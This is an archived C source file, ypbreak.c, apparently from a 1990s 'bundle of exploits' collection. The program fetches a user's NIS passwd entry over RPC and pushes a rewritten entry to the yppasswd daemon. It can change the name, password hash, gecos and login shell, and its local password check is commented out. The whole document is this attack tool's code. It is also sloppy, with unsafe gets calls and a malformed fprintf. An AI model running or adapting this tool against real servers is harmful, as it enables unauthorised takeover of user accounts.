home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ypbreak.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  6KB  |  258 lines

  1. /* remote yppasswd type program 
  2.  * lets you change username, password, gecos and/or shell
  3.  * remotely via the yppasswd daemon.
  4.  * (note daemon may not accept all of your changes)
  5.  * 
  6.  *  cc source.c -lrpcsvc
  7.  *  progname ypmaster ypdomain
  8.  */
  9.  
  10. #include <signal.h>
  11. #include <rpc/rpc.h>
  12. #include <stdio.h>
  13. #include <pwd.h>
  14. #include <rpcsvc/yppasswd.h>
  15. #include <rpcsvc/yp_prot.h>
  16.  
  17. #define TIMEOUT 15
  18.  
  19. extern char *get_yp_map();
  20.  
  21. char *split(s)
  22. char *s;
  23. {
  24.   while(*s!='\0' && *s!=':') s++;
  25.   if(*s =='\0') return s;
  26.   *s='\0';
  27.   return(s+1);
  28. }
  29.  
  30. changes(p)
  31. struct passwd *p;
  32. {
  33.   int done=0,choice;
  34.   char s[100],s2[100];
  35.   
  36.   while(!done)
  37.   {
  38.      printf("0. quit\n");
  39.      printf("1. name\n");
  40.      printf("2. password\n");
  41.      printf("3. gecos\n");
  42.      printf("4. shell\n");
  43.      printf("choice> ");
  44.      fflush(stdout);
  45.      scanf("%d",&choice);
  46.      switch(choice)
  47.      {
  48.         case 0: done++;
  49.                 break;
  50.         case 1: 
  51.                 printf("New name: ");
  52.                 fflush(stdout);
  53.                 scanf("%s",p->pw_name);
  54.                 break;
  55.         case 2:
  56.                 printf("New pass: ");
  57.                 fflush(stdout);
  58.                 scanf("%s",s);
  59.                 s[8]='\0';
  60.                           /* so we dont have a random salt.. who cares */
  61.                 strcpy(p->pw_passwd,crypt(s,"AE")); 
  62.                 break;
  63.         case 3:
  64.                 printf("New finger info: ");
  65.                 scanf("%*c");     /* get rid of previous \n still in buffer */
  66.                   strcpy(p->pw_gecos,gets(s));
  67.                 break;
  68.         case 4:
  69.                 printf("New shell: ");
  70.                 fflush(stdout);
  71.                 scanf("%s",s);
  72.                 strcpy(p->pw_shell,s);
  73.                 break;
  74.         default:
  75.                 printf("Invalid Choice.\n");
  76.                 break;
  77.      }
  78.   }
  79. }
  80.  
  81. getpw(p,st)   /* put string st into passwd structure */
  82. struct passwd *p;
  83. char *st;
  84. {
  85.    char *s,*t;
  86.    
  87.    s=split(st);
  88.    strcpy(p->pw_name, st);
  89.    t=split(s);
  90.    strcpy(p->pw_passwd,s);
  91.    s = split(t);
  92.    p->pw_uid = atoi(t);
  93.    t = split(s);
  94.    p->pw_gid = atoi(s);
  95.    s = split(t);
  96.    strcpy(p->pw_gecos,t);
  97.    t = split(s);
  98.    strcpy(p->pw_dir,s);
  99.    s=split(t);
  100.    strcpy(p->pw_shell,t);
  101.    p->pw_age = NULL;
  102.    p->pw_comment = NULL;   
  103. }
  104.  
  105. void timeout();
  106. char *getpass();
  107.  
  108. main(argc,argv)
  109. char **argv;
  110. int argc;
  111. {
  112.   struct yppasswd yppasswd;
  113.   struct passwd p;
  114.   int len,ok,ans;
  115.   enum clnt_stat errcode;
  116.   char temp[100],a[100],b[20],c[100],d[100],e[50];
  117.   char space[100];
  118.   char *s;
  119.   struct ypreq_key key;
  120.   struct ypresp_val answer;
  121.   char *domain,*master;
  122.   char *pass;
  123.  
  124.   if(argc!=3) {
  125.     printf("Usage: %s server domain\n",argv[0]);
  126.     exit(1);
  127.   }
  128.   master=argv[1];
  129.   domain=argv[2];
  130.  
  131.   answer.valdat.dptr = space;   /* where our answer will be */
  132.   
  133.   p.pw_name   = a;     /* we need space! */
  134.   p.pw_passwd = b;
  135.   p.pw_gecos  = c;
  136.   p.pw_dir    = d;
  137.   p.pw_shell  = e;
  138.   
  139.   printf("Enter account name : ");
  140.   scanf("%s",temp);
  141.  
  142.   key.domain = domain;
  143.   key.map = "passwd.byname";
  144.   key.keydat.dptr = temp;
  145.   key.keydat.dsize = strlen(temp);
  146.   
  147.   signal(SIGALRM,timeout);
  148.   alarm(TIMEOUT);
  149.   errcode = callrpc( master,YPPROG, YPVERS, YPPROC_MATCH,
  150.                      xdr_ypreq_key,(caddr_t) &key,
  151.                      xdr_ypresp_val, &answer);
  152.   alarm(0);
  153.   if ( errcode != RPC_SUCCESS)
  154.      print_rpc_err(errcode);
  155.   if (answer.status == TRUE ) {   /* we have a match */
  156.     len = answer.valdat.dsize;
  157.     answer.valdat.dptr[len] = '\0';   /* null terminate */
  158.     getpw(&p,answer.valdat.dptr);
  159.     print_pwd(p);
  160.   }
  161.   else {
  162.     printf("User %s not found.\n",temp);
  163.     exit(1);
  164.   }
  165.   printf("\n\n");
  166.  
  167.   pass=getpass("Password:");
  168. /*  if(strlen(p.pw_passwd)!=0)    
  169.     if (strcmp(crypt(pass,p.pw_passwd),p.pw_passwd)!=0) {
  170.       printf("Bad password.  Not even gonna bother.\n");
  171.       exit(1);
  172.     }    
  173. */
  174.   
  175.   changes(&p);
  176.   print_pwd(p);
  177.   printf("Is this ok? [y/n] : ");
  178.   scanf("%*c");   /* flush last <enter> */
  179.   gets(temp);
  180.   if(temp[0]!='y') return;
  181.   
  182.   yppasswd.oldpass = pass;
  183.   yppasswd.newpw = p;
  184.   
  185.   /* All the work is done here, now we try to actually do it */
  186.   ans = callrpc(master, YPPASSWDPROG, YPPASSWDVERS,
  187.           YPPASSWDPROC_UPDATE, xdr_yppasswd, &yppasswd,
  188.           xdr_int, &ok);
  189.   if(ans!=0) {
  190.     fprintf(stderr, "RPC call didnt go through.\n");
  191.     exit(1);
  192.   }
  193.   if(ok==1) {
  194.     fprintf("Remote site wouldnt change pw entry (wrong pw?)\n");
  195.   }
  196.   if(ok!=0) {
  197.     decodeans(ok,master);
  198.     exit(1);
  199.   }
  200.   
  201. }
  202.  
  203.  
  204. #define MAXMSG 17
  205. char *msgs[]=
  206. {
  207. "No error",                             /*0*/
  208. "Error from pre 4.1 version",           /*1*/
  209. "Password incorrect",   /*2*/ /*really login incorrect but why say so*/
  210. "No changeable fields were changed",   /*3*/
  211. "No password in adjunct",   /*4*/
  212. "Bad password in adjunct",   /*5*/
  213. "Inconsistency in adjunct",   /*6*/
  214. "Password incorrect",   /*7*/
  215. "Password file busy -- try again later",   /*8*/
  216. "Password temp file open error -- contact system administrator",   /*9*/
  217. "Password temp file fdopen error -- contact system administrator",   /*10*/
  218. "Password adjunct file fopen error -- contact system administrator",   /*11*/
  219. "Password file fopen error -- contact system administrator",   /*12*/
  220. "Password temp file fputs failed; disk partition may be full on NIS master! -- contact system administrator",   /*13*/
  221. "Password temp file ferror is set; disk partition may be full on NIS master! -- contact system administrator",   /*14*/
  222. "Password temp file fflush failed; disk partition may be full on NIS master! -- contact system administrator",   /*15*/
  223. "Password adjunct file rename failed; disk partition may be full on NIS master! -- contact system administrator",   /*16*/
  224. "Password file rename failed; disk partition may be full on NIS master! -- contact system administrator",   /*17*/
  225. };
  226.  
  227. decodeans(ok, master)
  228. char *master;
  229. int ok;
  230. {
  231. if (ok <0 || ok > MAXMSG )
  232.         fprintf(stderr, "Remote %s error %d\n",master, ok);
  233. else 
  234.         fprintf(stderr,"Error from %s: %s \n",master, msgs[ok]);
  235. }
  236.  
  237. print_pwd(p)
  238. struct passwd p;
  239. {
  240.   printf("%s:%s:%d:%d:%s:%s:%s\n",
  241.          p.pw_name,p.pw_passwd,p.pw_uid,p.pw_gid,
  242.          p.pw_gecos,p.pw_dir,p.pw_shell);
  243. }
  244.  
  245.  
  246. print_rpc_err(errcode)
  247. {
  248.         fprintf(stderr, "%s\n",clnt_sperrno(errcode));
  249.         exit(1);
  250. }
  251.  
  252. void timeout()
  253. {
  254.    printf("RPC request (callrpc) timed out.\n");
  255.    exit(1);
  256. }
  257.  
  258.